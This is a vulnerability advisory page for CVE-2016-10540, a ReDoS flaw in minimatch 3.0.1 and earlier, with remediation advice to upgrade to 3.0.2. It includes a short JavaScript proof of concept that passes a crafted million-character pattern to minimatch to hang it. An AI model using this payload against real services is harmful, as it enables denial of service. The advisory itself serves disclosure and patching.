CVE-2016-10540: Input Validation

Published May 31, 2018
·
Updated

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept js var minimatch = require(“minimatch”);

// utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; }

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

Other sources

Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the pattern parameter.

Affected Software

5 affected componentsFixes available
npm/minimatch<3.0.2
3.0.2
Minimatch Project Minimatch Node.js<=3.0.1
IBM Business Automation Insights<=25.0.0
IBM Business Automation Insights<=24.0.1
IBM Business Automation Insights<=24.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/minimatch to a version that resolves this vulnerability.

    Fixed in 3.0.2
  2. Upgrade

    Upgrade minimatch to a version that resolves this vulnerability.

    Fixed in 3.0.2

Event History

May 31, 2018
CVE Published
via MITRE·08:00 PM
Data Sourced
via MITRE·08:00 PM
DescriptionWeakness
Data Sourced
08:29 PM
DescriptionSeverityWeaknessAffected Software
Oct 9, 2018
Advisory Published
12:40 AM
Sep 11, 2023
Advisory Published
10:02 PM
Oct 22, 2023
Data Sourced
via IBM·12:00 AM
DescriptionSeverityAffected Software
Updated
via IBM·12:00 AM
Affected Software
Nov 3, 2025
Updated
via IBM·12:00 AM
DescriptionAffected Software
Jun 17, 2026
Data Sourced
via NVD·12:39 AM
DescriptionSeverityWeaknessAffected Software
Updated
via NVD·12:39 AM
Affected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the vulnerability ID?

The vulnerability ID is CVE-2016-10540.

2

What is the severity rating of CVE-2016-10540?

CVE-2016-10540 has a severity rating of 7.5 (high).

3

What is the affected software for CVE-2016-10540?

The affected software for CVE-2016-10540 is minimatch.

4

How is minimatch vulnerable to denial of service attacks?

Minimatch is vulnerable to denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.

5

How can I fix CVE-2016-10540?

To fix CVE-2016-10540, update minimatch to version 3.0.2.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203